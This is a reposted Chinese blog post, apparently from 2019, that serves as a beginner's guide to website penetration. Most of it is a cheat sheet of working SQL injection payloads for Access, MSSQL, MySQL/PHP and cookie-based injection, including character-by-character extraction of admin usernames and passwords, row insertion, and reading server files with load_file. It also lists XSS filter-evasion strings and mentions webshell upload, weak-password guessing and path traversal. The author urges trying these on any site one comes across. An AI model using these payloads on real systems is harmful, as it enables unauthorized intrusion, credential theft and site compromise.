关于渗透的一些思路持续更新(自我理解)
先回憶一下 準確的是17年才接觸到滲透以及ddos 其他hei產東西就不介紹了 接觸的自我感覺有點遲 從最開始我也是從阿D明小子那些很傻瓜化的軟件走過來的 但是接觸的都是掛黑頁(主頁篡改)后來接觸的比較多一點 也走上了那種借助工具去滲透的路子 沒有自己去學編程自己去開發關于這方面的軟件 安全圈大牛會叫這種為娛樂圈hacker 現在發布了網安法 網站的防御程度也越來越高 已經不能再靠以前的方法去滲透進去了 所以對自己也是一種挑戰 需要學習掌握一些編程能力加上經驗學習 進一步為網絡安全貢獻自己的一份努力!
長話短說 對于剛接觸這方面的小白來說可能學習和了解這方面比較吃力 我個人總結一下學習這分明快速入手的全部經驗 先從滲透思路說吧 首先我們要對這個網站進行踩點 俗話說的好“知己知彼 方可百戰不殆” 踩點我們需要去查一下這個網站什么服務器搭建的 在網站后面加/robots.txt 還有站長工具也是個好東西 可以自己去瀏覽一下 查一下這個網站還有旁站 這個是主站拿不下的后話了(可能旁站存在漏洞掃描的后期也是可以拿下的然后都在同一個服務器 這個也是思路)
網站真實IP--站長、nslookup、dig、www.cz88.net、tcroute
操作系統--TTL、index.PHP、訪問不存在頁面
網站語言--index等一眾頁面的后綴、respone包頭
服務器--訪問不存在頁面、respone包頭、whatweb
數據庫--注入報錯、telnet端口
主機端口--Nmap、arp_swwep、portscan
子域名查詢--subdomain.chaxun.la
網站CMS--Power By、site+“CMS”;百度”xxx CMS漏洞“
攻擊面解析--awvs等爬蟲式發現頁面、御劍/dirb等暴破式發現隱藏頁面、如果是某種標準協議則查看協議查找隱藏接口或隱藏參數
然后我會經常習慣用御劍掃描后臺看看是否有后臺地址顯示出來 然后查看網站是否存在sql注入 這里面關于一個網站滲透還有需要注意的這幾個點(講的比較零散 想到哪寫到哪)
1.Brute Force(暴力(破解))
2.Command Injection(命令行注入)
3.CSRF(跨站請求偽造)
4.File Inclusion(文件包含)
5.File Upload(文件上傳)
6.Insecure CAPTCHA (不安全的驗證碼)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站腳本)
10.XSS(Stored)(存儲型跨站腳本)
sql注入是一個我自認為很需要練習的 需要敲一點點代碼 雖然可以使用sqlmap去跑 但是我覺得理解手工的會比較好 查看網站是否存在上傳點 看看限制上傳呢過濾了哪些格式 然后使用抓包去上傳你的一句話木馬 根據看網站的類型去上傳相應的一句話木馬 {如果有 .php 結尾的 -php
如果有 .asp 結尾的 -asp
如果有 .jsp 結尾的 -jsp
但是有些網站是框架寫的 就很難 判斷了. 那只好查看它服務器的資料了}
這里說一下sql手工注入吧
第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%
IIS報錯情況下使用:
and user>0 (判斷是ACCESS還是MSSQL)
不報錯則使用各自數據庫特性來判斷
and (select count(*) from msysobjects)>0 (返回權限不足access數據庫)
and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數據庫)
and db_name()>0 (返回數據庫名)
and 0<>(select @@version)-- (判斷版本信息)
and db_name()>0 (返回數據庫名)
************注意:猜解之前先要找到后臺地址,不然白忙了**********
ACCESS注入:
猜解表名(正常則存在admin,不正常則不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在則正常,不正常則不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用戶名和密碼長度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼.
猜解用戶
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
當輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109,得到第一個字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。
注意的是英文和數字的ASCII碼在1-128之間...
MSSQL注入:
having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】
猜解表名:
SQL SERVER的每一個數據庫都會有用戶表和系統表,在系統表sysobjects中, 數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在sysobjects表中占一行,那么也就是說當前數據庫的表名都會在該表內有存在。我們常用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u為用戶表),id( 數據表的對象標志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二個表名,后面的以此類推。。
猜解列名:
用到系統自帶的2個函數col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是得到admin在sysobjects 中的標識號,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“password”“id”等等】
猜解字段內容:
and (select top 1 username from [admin])>0 【直接得到用戶名】
and (select top 1 password from [admin])>0 【直接得到密碼】
UNION聯合查詢:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (數值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)
ASCII逐字解碼法:
1、猜解列長度
and (select top 1 len(列名)from 表名)>N
其中N是數字,變換這個N的值猜解列長度,當N為6正確,為7錯誤,則長度為7
猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用戶和密碼
ASC()函數和Mid函數,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼
區間判斷語句:....between......and......
中文處理法:當ASCII轉換后為“負數”使用abs()函數取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼
ASCII逐字解碼法的應用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。
4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到密碼了。
MYSQL+PHP注入:
1.判斷是否存在注入,加';and 1=1 ;and 1=2
2.判斷版本 and ord(mid(version(),1,1))>51 /* 返回正常說明是4.0以上版本,可以用union查詢
3.利用order by 暴字段,在網址后加 order by 10 /* 如果返回正常說明字段大于10
4.再利用union來查詢準確字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,說明猜到準確字段數。如過濾了空格可以用/**/代替。
5.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from mysql.user)>0 /*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。
6. 如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路徑的ascii值,用逗號隔開)),8,9,10 /* 注:load_file(char(文件路徑的ascii值,用逗號隔開))也可以用十六進制,通過這種方式讀取配置文件,找到數據庫連接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,說明存在這個表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段顯示出字段內容則存在些字段。
9.同理再猜解password字段。
cookie注入:
條件:ID=Request("ID"),(WEB服務器是先去取GET中的數據,沒有的話再取POST中的數據,還沒有再去取Cookies中的數據);未對cookie進行過濾,那么就造成了cookie注入。
*****用 Request.QueryString或Request.Form收集數據的話,是無法利用Cookies注入的******
判斷是否存在cookie注入
例如:http://www.xiaoweio.cn/1.asp?id=44
輸入 http://www.xiaoweio.cn/1.asp 顯示不正常,因為沒有輸參數。
javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新頁面,顯示正常,可以再試下一步(如果不正常,就有可能也有過濾了)
javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下頁面,如果不正常顯示,這就表示有注入了。
猜解長度:
javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解內容:
javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
PHP注入:
判斷注入點:';and 1=1 ';and 1=2
判斷UNION:and ord(mid(version(),1,1))>51 返回正確則4.0可用UNION查詢
利用order by 暴字段:order by n (n=1,2,3.. ) (當n為3正確,4錯誤是,則3個字段)
利用union來查詢準確字段:and 1=1 union select 1,2,3,....... (當返回正常時,就說明猜到準確字段數=最后一個數)
判斷數據庫連接帳號有沒有寫權限:and (select count(*) from mysql.user)>0(如果返回錯誤,我們就猜管理員的帳號密碼,如果返回正常,則可以通過
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路徑的ascii值,用逗號隔開)),8,9,10 [注意:load_file(char(文件路徑的ascii值,用逗號隔開))也可以用十六進制,通過這種方式讀取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,說明存在這個表)
猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同樣道理,自己替換,如果在2字段顯示出字段內容則存在些字段)
同理再猜解password字段.
跨站:
<script>alert("跨站")</script> (最常用)
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab鍵弄出來的空格)
<img scr="#" οnerrοr=alert(/跨站/)></img>
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img>
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注釋)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:e-xpression (alert('xss'))}</style>
<div style={left:e-xpression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
html 實體 <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">
這個多去練習練習 遇到個網站就敲一下試試就熟悉了 我也記不得有的 都經常遇到去百度復制的
這個文件包含就不具體說了 ../../ 主要要看懂網站源代碼過濾了什么 (后期在改進具體寫寫)
還有就是弱口令大家也可以去試試 萬一哪個管理員粗心呢對吧?
猜解文件,如知道某文件為admin_login.php,我們可嘗試admin_add.php、admin_upload.php文件是否存在,也可以谷歌搜索site:cnseay.com inurl:edit等等,很多時候可以找到一些敏感文件,接著看是否驗證權限或能否繞過驗證
然后就是熟知近期網絡安全里面暴露出來的最新漏洞? ?社工和xss本人也不是很熟練 其他的話? 就不在關公面前耍大刀了,寫的有點散亂 大家也可以和本人進行交流 望大牛勿噴改錯
本篇后期會持續更新 有想法的可以聯系我 一起交流
posted on 2019-01-23 22:46 無劇 閱讀(...) 評論(...) 編輯 收藏轉載于:https://www.cnblogs.com/wuju/p/10311944.html
總結
以上是生活随笔為你收集整理的关于渗透的一些思路持续更新(自我理解)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ASP.NET的票据工具类FormsAu
- 下一篇: Win 7/10 安装Oracle 11